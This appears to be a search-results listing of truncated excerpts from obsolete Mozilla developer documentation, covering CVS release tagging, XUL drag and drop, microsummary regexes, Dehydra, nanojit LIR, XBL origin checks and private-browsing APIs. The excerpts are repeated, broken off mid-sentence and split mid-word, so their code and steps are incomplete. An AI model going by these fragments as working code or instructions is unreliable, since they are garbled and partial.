Prerequisites - Archive of obsolete content
if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. ...
...if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. ...
...if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. ...
...if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo. ...
Creating a Release Tag - Archive of obsolete content
warning: the content of this article may be out of date. it has not been updated for usage of mercurial. here are directions for creating a release from a linux system. note that there are a couple of extra files for win32 and macintosh that aren't pulled by the normal scr
ipt and need to be pulled by hand. the mini-branch is created so you can check in the build scr
ipts with the necessary changes without touching the original branch. check out mozilla from the branch you want to tag. ...
...scr
ipts with the necessary changes without touching the original branch. check out mozilla from the branch you want to tag. remember to also check out extra mac and win32 files that aren't normally checked out on linux or the tag won't build on those platforms. cvs co -r netscape_6_2_release mozilla/client.mk cd mozilla gmake -f client.mk checkout create a mini branch for the pull scr
ipts on all three platforms so we can change them without changing anything on the original branch. cd .. cvs tag -b mozilla_0_9_4_1_release_mini_branch mozilla/client.mk delete the existing build scr
ipts and repull them from the mini-branch you just created. ...
... cvs ci mozilla/client.mk create the tag. find . ...
... cvs ci mozilla/client.mk create the tag. find . ...
In-Depth - Archive of obsolete content
each colour is one pixel in the border.
...each colour is one pixel in the border. if you want the border to be 3 pixels wide you define each colour separated by a space. ...
...each colour is one pixel in the border. if you want the border to be 3 pixels wide you define each colour separated by a space. ...
...eft corner. an example of where this would be used is on a footer. -moz-border-radius-bottomright the same as -moz-border-radius but only applies to the bottom right corner. an example of where this would be used is on a footer. -moz-box-direction controls which way the items in this box are displayed. normal in english web browsers items are displayed top to bottom and left to right. this will fl
ip it around so items inside of this box will be displayed bottom to top and right to left. this is useful for, say, putting the navigation controls (back button) on the right hand side of the toolbar. values: normal, reverse -moz-image-region this is useful for dividing up an image into mult
iple smaller images. it uses a rect() object to determine the cl
ipping region. check out the section on organ...
Creating regular expressions for a microsummary generator - Archive of obsolete content
enerators know how to summarize by matching patterns in those pages' urls. in this tutorial, we'll explain how to make regular expressions that match the urls for ebay auction item pages. by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match urls. for detailed documentation about regular expressions, see core_javascr
ipt_1.5_reference:global_objects:regexp. to learn how to create a microsummary generator, see creating a microsummary. urls 101 urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters. here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&i...
...e regular expression: ^http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&item=280018439106 when a caret is the first character of a regular expression, it signifies that the expression must be found at the beginning of the string being matched. now that we've prepended a caret to our regular expression, it will only match urls that look like the example url right from the start. matching mult
iple urls but this expression still only matches the url for a single auction item page. it won't work with any other auction item. to make it match other items, we have to remove the unique parts of it that match the specific item, leaving behind only those parts which are common to all items. to identify which parts are unique and which are common, let's look at the urls of several other auction...
...t matches all four example urls. it'll probably match the urls for other auction item pages, too. but to make it more robust, we should accommodate the possibility of variation in the query parameters. a named query parameter is a string of the form <name>=<value>, where <name> and <value> are arbitrary strings. in our url, "item=280018439106" is the only such parameter. but urls can contain mult
iple named parameters separated by ampersands (&), and the parameters can appear in any order, so even though the "item" parameter seems to be necessary, it might not appear right next to "viewitem". for example, the following is an equally valid url for the same auction item: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&foo=bar&item=170019463424 to accommodate these variations in query parame...
...ll\?viewitem&.*item= the period followed by an asterisk matches any combination of characters, including no characters at all, so it works even if "viewitem&" and "item=" are right next to each other (as in our example url) as well as when there are some characters between them. matching another ebay url we now have a regular expression that matches auction item urls, including those with mult
iple query parameters in any order. but ebay uses a different style of url in some cases (f.e. on its search results page). here's a url for the same item in that different style: http://cgi.ebay.com/mozilla-firefox-logo-1-inch-pin-badge-button-browser_w0qqitemz280018439106qqihz018qqcategoryz2036qqcmdzviewitem to accommodate these urls, we can create a second regular expression that matches them...
Using Dehydra - Archive of obsolete content
as gcc compiles file, dehydra calls functions in the user analysis scr
ipt with information about the code being compiled. for more information, see the function reference and the object reference. ...
... as gcc compiles file, dehydra calls functions in the user analysis scr
ipt with information about the code being compiled. for more information, see the function reference and the object reference. ...
... { int i; char *c; }; save the following analysis scr
ipt dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-scr
ipt= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 type found: myint location: test.cc:1:13 hello, world! see documentation for: process_type, input_end, print, .loc property example: using attributes to mark a class as "final" save the following code as final.cc: // this class should not be subclassed! class __attribute__((user("final"))) m...
... */ function isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) e...
Drag and Drop Example - Archive of obsolete content
pports a newer and simpler api. an example of implementing drag and drop will be implemented in this section. dragging elements around here, we'll create a simple board where items from a palette can be dragged onto the board. the user can click on one of several xul elements on the palette and drag it onto a stack element to create an element of a particular type. first, we'll add the wrapper scr
ipts: <scr
ipt src="chrome://global/content/nsdraganddrop.js"/> <scr
ipt src="chrome://global/content/nstransferable.js"/> <scr
ipt src="dragboard.js"/> an additional scr
ipt file dragboard.js is included which will contain the code we will write ourselves. the board will be created using a stack element. we'll use some style properties to set the width and height of the stack. a maximum size is also s...
...with using text is that if the text from an external drag just happens to be set to button, a button will be created on the board. a custom type means that the board will only accept drags from the palette. ...
...ust happens to be set to button, a button will be created on the board. a custom type means that the board will only accept drags from the palette. ...
... the board. a custom type means that the board will only accept drags from the palette. ...
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
find the correct stream listener to pump the data into when necko calls ondataavailable (e.g., we may find the html parser as the stream listener to give the data to). dramatis personae this document focuses on the interaction of three classes with each other, but other mozilla components are also involved. main roles nsdocshell this class corresponds, basically, to a "window" object in javascr
ipt -- each frame, iframe, content area, tab, etc has its own docshell. a docshell can have a name associated with it (e.g. a named frame). all loads that we consider in this document are initiated via the docshell. nsdocshell implements too many interfaces to count; the ones that matter to us most are nsiwebnavigation and nsilinkhandler. nsuriloader this is a service implementing nsiuriloader. it k...
...nfo"> <area alt="necko" coords="721,113,821,157" href="#necko"> <area alt="nsuriloader" coords="23,335,215,455" href="#nsuriloader"> <area coords="227,515,485,575" href="#nsiuricontentlistener"> <area alt="nsdocshell" coords="47,83,203,153" href="#nsdocshell"></map> this block diagram is out of date as of january 2012 with regard to some minor control flow shuffling in nsuriloader. the prose descr
iption below has been updated. the changes do not affect functionality and the step numbers in the diagram are still accurate. guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener. these registered listeners are used later during content dispatch. api calls to load a new uri. these can come in via nsiwebnavigation...
...low has been updated. the changes do not affect functionality and the step numbers in the diagram are still accurate. guided tour during startup and component initialization, components register themselves with the uriloader via registercontentlistener. these registered listeners are used later during content dispatch. api calls to load a new uri. these can come in via nsiwebnavigation (a scr
iptable embedding interface) or nsilinkhandler (an internal interface used for link clicks). both interfaces are implemented by nswebshell/nsdocshell. these api calls will typically pass in a uri string or object to load, and may include information like the name of the target frame (for <a target="something">, e.g.). nsdocshell::internalload() handles targeting to the correct docshell (if the loa...
...from necko nsdocumentopeninfo::onstartrequest checks the response status code on the channel for http channels and drops the load on the floor if warranted (e.g. 204 or 205 responses). then it calls nsdocumentopeninfo::dispatchcontent nsdocumentopeninfo::dispatchcontent starts doing the real dirty work. first it checks whether the channel has "content-disposition: attachment" set. if so, it sk
ips trying to find an internal viewer and goes right over to looking for a stream converter. otherwise, dispatchcontent goes through a three-step process to try to find the correct listener. the basic idea is that dispatchcontent calls nsdocumentopeninfo::trycontentlistener on various content listeners; if that returns true, we have found the right listener and we are done. trycontentlistener makes ...
Using microformats - Archive of obsolete content
to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself. firefox 3 implements a global microformats object that provides access to microformats. this object and its api make finding and reading microformats easy to do. loading the microformats api the microformats object is created using the new javascr
ipt scr
ipt loader added to firefox 3. to use the api, you need to first load the object: components.utils.import("resource://gre/modules/microformats.js"); once you've loaded the microformats api, you can manage microformats using the methods listed here; for information about parsing microformats, see parsing microformats in javascr
ipt. predefined microformats firefox 3 provides definitions im...
...a person. hcalendar represents a calendar appointment entry. tag used to add tags to other microformats. methods add() adds a new microformat to the microformat module. note: if a microformat by the specified name already exists, it is replaced by the new one. add(name, definition); parameters name the name of the microformat to add to the microformat module. definition a javascr
ipt structure describing the microformat. see describing microformats in javascr
ipt for details. count() counts the number of microformats in a document that match specified criteria. var nummicroformats = microformats.count(name, rootelement, options); parameters name the name of the microformat to count. rootelement required. the dom element at which to begin the search. if you want to...
... counts the number of microformats in a document that match specified criteria. var nummicroformats = microformats.count(name, rootelement, options); parameters name the name of the microformat to count. rootelement required. the dom element at which to begin the search. if you want to search the entire document, specify content.document. options optional. if provided, this is a javascr
ipt object that contains zero or more of the following flags: recurseexternalframes if true, child frames are included in the search. the default is true. showhidden if true, hidden microformats are added; otherwise they're left out. the default is false. debug specify true if debug mode is in use; otherwise, specify false. the default is false. return value an integer value indicating...
...responding to the microformats found that match specified criteria. var microformatsarray = microformats.get(name, rootelement, options, targetarray); parameters name the name of the microformat to find. rootelement required. the dom element at which to begin the search. if you want to search the entire document, specify content.document. options optional. if provided, this is a javascr
ipt object that contains zero or more of the following flags: recurseexternalframes if true, child frames that reference external content are included in the search. the default is true. showhidden if true, hidden microformats are added; otherwise they're left out. the default is false. debug specify true if debug mode is in use; otherwise, specify false. the default is false. targeta...
Firefox Sync - Archive of obsolete content
server a server implementation of the sync http protocol. clients communicate through it. ...
...ese specifications is http://docs.services.mozilla.com/. running a server it is possible to run your own sync server instance. full instructions are available at http://docs.services.mozilla.com/howtos/run-sync.html. ...
...om/howtos/run-sync.html. getting involved and status for information on the current development status of sync including how to get involved, see https://wiki.mozilla.org/services/sync. ...
... for information on the current development status of sync including how to get involved, see https://wiki.mozilla.org/services/sync. ...
Microsummary XML grammar reference - Archive of obsolete content
ary generator document should be in this namespace except the descendants of the <template> element, which should be in the xslt namespace: http://www.w3.org/1999/xsl/transform the <generator> element the <generator> element is the root tag for all microsummary generators, and should contain the remainder of the xml code describing the generator. attributes: name (required) a descr
iptive, human-readable name for the microsummary created by the generator. uri (optional) a valid uri uniquely identifying the generator. only relevant for generators dynamically created by firefox code and extensions. generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote url from which they were downloaded, and firefox ignores the value...
...e. child elements: <include> (optional) a regular expression matching the urls of pages that the generator is able to summarize. <exclude> (optional) a regular expression matching the urls of pages that the generator is not able to summarize. the <pages> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid javascr
ipt-compatible regular expression. it must not contain any other elements, and it does not have any attributes. when a generator is examined to determine whether or not it is able to summarize a page, the regular expressions provided by the child elements are evaluated against the url of the page. a generator is considered to be able to summarize a page if at least one of the <include> expressions m...
... caret (^) to ensure they do not inadvertently match urls which merely contain the urls they intend to match. for example, the regular expression http://www\.example\.com/ matches both the url http://www.example.com/ and the url http://www.evil.com/http://www.example.com/, but the regular expression ^http://www\.example\.com/ matches only the first of those two urls. see the reference core_javascr
ipt_1.5_reference:global_objects:regexp for the details of the regular expression syntax valid for generators and the tutorial creating regular expressions for a microsummary generator for step by step instructions to writing regular expressions that match urls. the <include> element the <include> element identifies a set of pages that the generator is able to summarize. it must be a child of the <p...
...e details of the regular expression syntax valid for generators and the tutorial creating regular expressions for a microsummary generator for step by step instructions to writing regular expressions that match urls. the <include> element the <include> element identifies a set of pages that the generator is able to summarize. it must be a child of the <pages> element, and it must contain a javascr
ipt-compatible regular expression. for more information about the use of this element, see the entry for #the_<pages>_element. the <exclude> element the <exclude> element identifies a set of pages that the generator is not able to summarize. it must be a child of the <pages> element, and it must contain a javascr
ipt-compatible regular expression. for more information about the use of this element, s...
Mozilla Application Framework - Archive of obsolete content
dering/editing engine with world-leading support for standards that you can drop into your application with a single line of xul. necko a wicked-fast, extensible networking library with built-in support for many common protocols and a well-defined plug-in interface for custom protocol handling so you can add the protocols you need. xpcom a simple, cross-platform component model with mult
iple language bindings and idl descr
iptions so you can plug your custom functionality into the framework and connect it with other components. web services built-in support for xmlhttprequest, xml-rpc, soap, and wsdl to enable mozilla-based application authors to take advantage of the exploding world of web services. xpinstall our cross-platform installer for trivial packaging and installa...
...ework and connect it with other components. web services built-in support for xmlhttprequest, xml-rpc, soap, and wsdl to enable mozilla-based application authors to take advantage of the exploding world of web services. xpinstall our cross-platform installer for trivial packaging and installation of your mozilla framework applications. and much much more... tools venkman a javascr
ipt debugger with support for breakpoints, conditional breakpoints, local variable inspection, watch variables, single step, stop on error, profile data collection, report generation, code reformatting (pretty printing), and more. dom inspector a tool for inspecting and editing the structure and widgets of your user interface while your application is running. xulmaker a gui builder curren...
...that shows you every file in the repository as well as a line-by-line breakdown of who changed which line when in each file bonsai a web interface to the checkin log that you can query for checkins between certain dates, of certain files, or by certain developers. tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on mult
iple platforms so you can see the state of the application at any given point in time. community a large, active development community that interacts via newsgroups, mailing lists, irc channels, and web sites. flexible licensing with three licenses to choose from (mpl, lgpl, and gpl) so you can develop both open source and proprietary applications and combine the mozilla framework with other l...
...esktop applications like komodo, apps that run on top of the mozilla application suite like mozblog, and web applications like the mozilla amazon browser. mozilla has been ported to more than a dozen platforms including windows (95, 98, nt, 2000, xp, ce), mac os x, linux, solaris, beos, openvms, os/2, aix, and hp-ux. you can build simple but powerful mozilla-based applications using just javascr
ipt and xul. original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of this content are (c) 1998-2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
LIR - Archive of obsolete content
in nanojit, lir is the source language for compilation to machine code. lir stands for low-level intermediate representation. it is a typed assembly language. the lir instruction set is best learnt by reading nanojit/liropcode.tbl. code for man
ipulating lir is in nanojit/lir.h. nanojit lir instruction cheat sheet.also in pdf format see attachment. category op code code name return type featured descr
iption miscellaneous 0 start void start of a fragment 1 regfence void a register fence causes no code to be generated, but it affects register allocation so that no registers are live when it is reached. 2 sk
ip void links code chunks. 3 parami integer 32 bit load an int parameter (register or stack location). 4 param...
... it's only used on i386/x64. the operand is the result of a lir_divi because on i386/x64 div and mod results are computed by the same instruction. 84 noti integer bitwise-not int 85 andi integer bitwise-and int 86 ori integer bitwise-or int...
...the back-ends cannot generate code for it.it's used in tracemonkey briefly but is always demoted to a lir_modl or converted to a function call before nanojit has to do anything serious with it. 105 cmovi integer conditional move int 106 c...
...integer convert double to int (no exceptions raised) 114 dasq quad 64 bit interpret the bits of a double as a quad 115 qasd double 64 bit interpret the bits of a quad as a double overflow arithmetic 116 addxovi integer add int and exit on overflow 117 subxovi integer subtract int and exit on overflow 118 mulxovi integer mult
iply int and exit on overflow 119 addjovi integer add int and branch on overflow 120 subjovi integer subtract int and branch on overflow 121 muljovi integer mult
iply int and branch on overflow 122 addjovq quad 64 bit add quad and branch on overflow 123 subjovq quad 64 bit subtract quad and branch on overflow softfloat 124 dlo2...
How to Write and Land Nanojit Patches - Archive of obsolete content
common prefix for all scenarios make private clones of all three repositories: nanojit-central, tracemonkey and tamarin-redux. here's how to clone and build nanojit-central: $ hg clone ssh://hg.mozilla.org/projects/nanojit-central $ cd nanojit-central $ autoconf $ mkdir build $ cd build $ ../configure $ make $ make check learn and setup automated testing for all three repositories. write a scr
ipt for copying patches between repositories, it'll come in useful. scenario 1: creating an internal (ie. nanojit-only) patch write the patch in whichever repository you like. for mozilla people it's probably best done in your tracemonkey repo, for adobe people it's probably best done in your tamarin-redux repo. once the patch seems ready, copy it to the other two repositories and test it. [njn:...
... you'd only do this for your company's tm/tr repo, ie. mozilla people for tm, and adobe people for tr. propagate all recent nanojit-central changes to your local tm/tr repo. for tracemonkey, use the "make update-nanojit" target (it requires that mercurial's "convert" extension be enabled; add "hgext.convert =" to your .hgrc file under "[extensions]"). for tamarin, use the update-nanojit.sh scr
ipt. note that updating will clobber the contents of the nanojit/ directory in your private tm/tr repo. it will also generate a commit that updates the nanojit-import-rev file in your target repository; this file records which commits have been copied over from nanojit. build and test the changes. in the easy case, you'll have a consistent tm/tr repo. land the tm/tr changes. then for each revi...
...us changing nj's api but your tm/tr repo hasn't been updated to match the api change. in this case, you have to look through the converted revisions you're about to push (run hg outgoing to list them) and figure out which patch(es) caused the breakage. then find the corresponding bug(s) and commit the (hopefully already-reviewed!) tr/tm portion of the patch(es) on top of your current, un-pushed t
ip. at this point the set of changes you are about to push will consist of a sequence of converted revisions from nanojit-central, followed by one of more "fixups" to tr/tm to make them work properly. test this entire group and land them with a single hg push. then update the whiteboard for the each such bug p and add a comment url. and likewise for all revisions involved in the update. you're done...
... likewise for all revisions involved in the update. you're done, but watch the tm/tr testing results (tbpl or buildbot). if you ever want to "undo" revisions you copied from nanojit-central, you can backout copied revisions using the existing mercurial "backout" command in your target repository. if you do so, the next time you copy revisions from nanojit-central to your target repository, the scr
ipt will re-copy the backed-out revisions, as well as those that occurred after. you can explicitly man
ipulate the revision from which the copying process begins by writing a nanojit-central revision id to the file nanojit-import-rev, held in your target repository. if you are at all confused about this, ask in #nanojit irc. scenario 4: if you break something if you land a patch that breaks nanoji...
Prism - Archive of obsolete content
he term distraction-free browser). basic desktop integration: support of desktop features can make using the app more natural and convenient for end users. this includes the ability to create desktop shortcuts, to place the application icon in the tray or dock and to display pop-up notifications. customization: apps can be run using a shared browser runtime and customized using client-side scr
ipt (similar to greasemonkey). custom stylesheets can be used to tweak the ui. architectural overview prism is a xulrunner application. in addition to the browser engine included in xulrunner, it consists of: web app bundle management: code for creating new web app bundles and loading existing bundles. shortcut creation ui: a dialog box lets the user specify attributes of the web app (name, ur...
...lesheets can be used to tweak the ui. architectural overview prism is a xulrunner application. in addition to the browser engine included in xulrunner, it consists of: web app bundle management: code for creating new web app bundles and loading existing bundles. shortcut creation ui: a dialog box lets the user specify attributes of the web app (name, uri, icon, shortcut locations). javascr
ipt api: an api that can be used by scr
ipts inside the bundle to customize the application. we are refining this approach to make the api applicable in as many environments as possible (e.g. it might be useful even for applications running in a normal browser). it should be possible for developers to include prism-style extension directly in their web app. we would like to harmonize our api with tho...
...inside firefox. web apps can also point to a complete web app bundle or some elements of a web app (like higher resolution icons). refractor automatically takes this information into account. documentation frequently asked questions bundles a web application bundle is a z
ip archive that holds a configuration file, icons and an optional webapp js scr
ipt. bundles can be installed locally, or directly from a website using the prism for firefox extension. configuration a webapp bundle should contain a webapp.ini configuration file. the configuration file is a simple, ini-style text file that specifies some parameters about a...
...le that specifies some parameters about a web application. styling one of prism's goals is to make web applications feel more like desktop applications. one way to make the illusion seem more real is to use styling (or theming). prism supports a simple styling system that allows the user to add css files to the webapp bundle. scr
ipting prism allows for some client-side web application customization. some simple objects and utilities are exposed to webapp scr
ipts. host window prism provides a simple, scaled down browser window for running web applications. using configuration files and webapp scr
ipting, the host window can be modified. ...
Priority Content - Archive of obsolete content
or and see anything there that you think should be migrated to devmo that isn't on this list, feel free to add it below. a raw list of everything that has not been migrated at all appears there. book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators: started: core javascr
ipt reference 1.5 original: core javascr
ipt reference 1.5 wiki location: core javascr
ipt 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k. keller in progress: rapid application development with mozilla original: author's page and plan...
...pendant on: updating dhtml web pages for next generation browsers on devedge the tune-up wizard (see below, in the wishlist section) mostly completed: popup window controls devedge article migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. ...
...eneration browsers on devedge the tune-up wizard (see below, in the wishlist section) mostly completed: popup window controls devedge article migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. ...
...e below, in the wishlist section) mostly completed: popup window controls devedge article migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. ...
New Skin Notes - Archive of obsolete content
n. -- dria when a page is redirected, need to say-so and what it was redirected from, (see document for an example of such.) this is only an issue in mw1.5 so far. devmo skin vs cavendish skin --callek i can probably pull-off this patch if needed (quickly), so dria or others do not have to hunt up "how". --callek add "what not to do" css class to stylesheet, as discussed on talk:core javascr
ipt 1.5 reference. what's the class called? --maian 21:08, 1 sep 2005 (pdt) in the new mw1.5 skin (not the one currently available here) there's class "wrong" and class "wrong-inline". those will be available after we do the wiki upgrades in the near future. --dria headers need a little padding. h1 could be smaller. --dria is it just me or visited links are not marked as such? --nickolay 07:...
... to read documentation, not to edit it. --beltzner put these back in. will try to sort out how to change the default behaviour. --dria headers which are also links that point to as-yet-unwritten wiki pages are colored as though they actually do exist. for an example of this, see creating xpcom components. --waldo 21:09, 25 aug 2005 (pdt) not going to change (yet or possibly ever) adding p
ipes between buttons in horizontal nav-bar (ie: my talk | preferences | my watchlist) (stricken part is done). also, and this is a nit, it's a little "my" crazy up there -- do we need all the "my"s? --beltzner any chance we can mobe the "main page" scrollbar to the actual "content area" of the page, so that the sidebar `stays` when in-use, and on dynamic pages (such as the preferences page) if you...
...arge side bars (or side bars at all, for that matter :) considering that in most articles we scroll down to read the text, and that the side bar scrolls as well, the links aren't there anymore, but the width remains wasted anyway. in the case of a story book, small text columns do seem reasonable, but i don't think this is nice for technical documentation which requires usage of tables, etc... wik
ipedia's side bar is smaller, btw, probably for the same reasons. since i manage a number of sites for which i must respect quality standards at 800 pixels width for compatibility (we accept break 640 compatibility nowadays except for sites intended for pdas/ppcs), i find myself needing to use ctrl+- with the devmo wikki currently, not to change my global settings of course, which are fine and facto...
... with simplicity in mind -- minimal header, nav, footer -- plausibly good for alternate or small screen display, or people who prefer more straight-up formatting for on-screen docs. skin designed specifically with accessibility in mind. might want to consult with aaronlev to see what would be best. also see about improving accessibility of default skin. we definitly need to add some ui to mult
ipage stuff like tutorials. things like toc and back/forward and "page x of y" are extremly needed - it can be that they'll land in sidebar --gandalf 08:27, 29 aug 2005 (pdt) we'll revisit this later. this is too complex to deal with right now, unless someone wants to write and submit an extension. --dria ...
Same origin policy for XBL - Archive of obsolete content
the same origin policy used for xbl documents is different from the policy used for other content. this article provides a descr
iption of how the same origin policy for xbl works. when mozilla needs to decide whether or not xbl is allowed to be loaded, it looks at the ns
iprinc
ipal originating the load and the nsiuri to be loaded. determining the originating princ
ipal the princ
ipal originating the load is determined using the following steps: for external stylesheets (<link>, <?xml-stylesheet?>, user sheets, and ua sheets), it depends on where the sheet is loaded from, just like it would for an html document loaded from a similar source. ...
... nsiuri to be loaded. determining the originating princ
ipal the princ
ipal originating the load is determined using the following steps: for external stylesheets (<link>, <?xml-stylesheet?>, user sheets, and ua sheets), it depends on where the sheet is loaded from, just like it would for an html document loaded from a similar source. for inline stylesheets (<style> and style attributes), the princ
ipal of the element node involved (meaning the <style> element or the element whose style attribute is being looked at). for the nsidomdocumentxbl interface's nsidomdocumentxbl.addbinding() and nsidomdocumentxbl.loadbindingdocument() methods, the originating princ
ipal is the one of the scr
ipt making the call, or the princ
ipal of the document the call is made on if there isn't a scr
ipt. checks perfo...
... (meaning the <style> element or the element whose style attribute is being looked at). for the nsidomdocumentxbl interface's nsidomdocumentxbl.addbinding() and nsidomdocumentxbl.loadbindingdocument() methods, the originating princ
ipal is the one of the scr
ipt making the call, or the princ
ipal of the document the call is made on if there isn't a scr
ipt. checks performed once the originating princ
ipal is determined, checks are done to make sure the load should be allowed. the checks performed are: if the princ
ipal originating the load is the system princ
ipal, the load is allowed. a call to checloaduriwithprinc
ipal() is done to make sure the princ
ipal is able to link to the given uri in the first place. a content policy check is performed. if the uri is a chrome: uri, the load is allowed. no...
...wed. a call to checloaduriwithprinc
ipal() is done to make sure the princ
ipal is able to link to the given uri in the first place. a content policy check is performed. if the uri is a chrome: uri, the load is allowed. note that step 2 already denied the load attempt for cases in which the chrome: uri isn't accessible to untrusted content. a checkmayload() check is performed on the originating princ
ipal for the given uri. if the checkmayload() check passes, the load is allowed. ...
Supporting per-window private browsing - Archive of obsolete content
tils.iswindowprivate(window)) { ... } } catch(e) { // pre firefox 20 (if you do not have access to a doc. // might use doc.hasattribute("privatebrowsingmode") then instead) try { var inprivatebrowsing = components.classes["@mozilla.org/privatebrowsing;1"]. getservice(components.interfaces.ns
iprivatebrowsingservice). privatebrowsingenabled; if (!inprivatebrowsing) { ... } } catch(e) { components.utils.reporterror(e); return; } } obtaining an nsiloadcontext for privacy-sensitive apis some apis (such as nsitransferable and nsiwebbrowserpersist) take nsiloadcontext...
... the operation } }, "last-pb-context-exiting", false); forcing a channel into private mode usually, network channels inherit the privacy status of the document that created them, which means that they work correctly most of the time. however, sometimes you need to adjust the privacy status on a channel manually, for example, if you have created the channel directly yourself. ...
...need to adjust the privacy status on a channel manually, for example, if you have created the channel directly yourself. you can use the ns
iprivatebrowsingchannel interface for this purpose. the example below creates a channel to load a url, and forces it to be in private mode. var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.ns
iprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status. var xhr = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(components.interfaces.ns...
... in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status. var xhr = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(components.interfaces.nsixmlhttpreqeust); var channel = xhr.channel.queryinterface(components.interfaces.ns
iprivatebrowsingchannel); channel.setprivate(true); ...
Running Tamarin performance tests - Archive of obsolete content
65.0 68.0 -4.4 sunspider/bitops-3bit-bits-in-byte.as 12.0 13.0 -7.7 sunspider/bitops-bits-in-byte.as 36.0 36.0 0.0 by default tests sunspider and sunspider-as3 (optimized for as3) and run. other tests may be specified by selecting ./runtests.py -c [misc,scimark,jsbench]. also for better accuracy tests may be run mult
iple times. specifying ./runtests.py -i 10 will run each tests 10 time and use the fastest result. if more than 2 repetitions are specified the 95% percentile confidence rating is calculated. the confidence rating measures the percentage of the mean 95% of the results were within the range. performance test options there are a variety of options available with runtests.py - here is the help text fol...
...ests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus command to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude comma separated list of directories to sk
ip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --summaryonly only display final summary --rebuildtests rebuild t...
... device as well, but with a few differences. you should set environment variables as described above except for avm, which should be: $ export avm=$tamarin_build_top/platform/android/android_shell.sh where $tamarin_build_top is your main tamarin repo folder. note that avm needs to point to android_shell.sh which is a proxy for running the tests on the phone. the /android-public/android-vars.sh scr
ipt has commented-out examples of the environment settings for running tests on the android avm shell. to recap the other environment settings: - set the builtinabc environment variable to the path of the /generated/builtin.abc. - you may build the .abc files by downloading the latest asc.jar. the latest asc.jar can be downloaded from from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar. also ...
...t from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk. - set the asc environment variable, as described above. - set the shellabc environment variable to the path of the /generated/shell_toplevel.abc. adb 'adb' stands for android debug bridge. adb is used to access your android device and can run both direct and shell-type commands. if you've correctly edited and run the android-vars.sh scr
ipt mentioned on the tamarin build documentation page you should already be pathed to the adb executable in the public sdk/ndk, but if not it exists at /android-public/android-sdk-mac_86/platform-tools. adb supports ssh-like commands to an android device. adb automatically connects to a phone if connected by usb. adb shell "ls /" is a good test to see if connected. the command: $ adb devices lists t...
The life of an HTML HTTP request - Archive of obsolete content
documentloader to load (command "view") the specified url. [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file. necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct ns
iprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel). the channel represents the connection to the server, and is the source of the html data stream. (3) when data is starting to come from the webserver the nsichannel calls the onstartrequest in the documenloader. now the channel knows the content type of the incoming data, so the documentloader can find an nsi...
...erfactory for the "text/html" content type (in this case an nslayoutdlf). this factory is then told to create a nsicontentviewer. the factory creates a contentviewer. in most cases (including this) it also creates a nsidocument (nshtmldocument) and binds it to the contentviewer. the contentviewer is then embed():ed into the contentviewercontainer (the webshell). (4) the document then creates a ns
iparser for parsing the input stream. for html document this is an nsparser, which also implements nsistreamlistener. this streamlistener is returned to the documentloader and connected to the nsichannel of the request. (5) the document (nshtmldocument) also creates a nsicontentsink (nshtmlcontentsink) and connects it to the parser and the document. the parser then parses the stream it gets via its...
...cument this is an nsparser, which also implements nsistreamlistener. this streamlistener is returned to the documentloader and connected to the nsichannel of the request. (5) the document (nshtmldocument) also creates a nsicontentsink (nshtmlcontentsink) and connects it to the parser and the document. ...
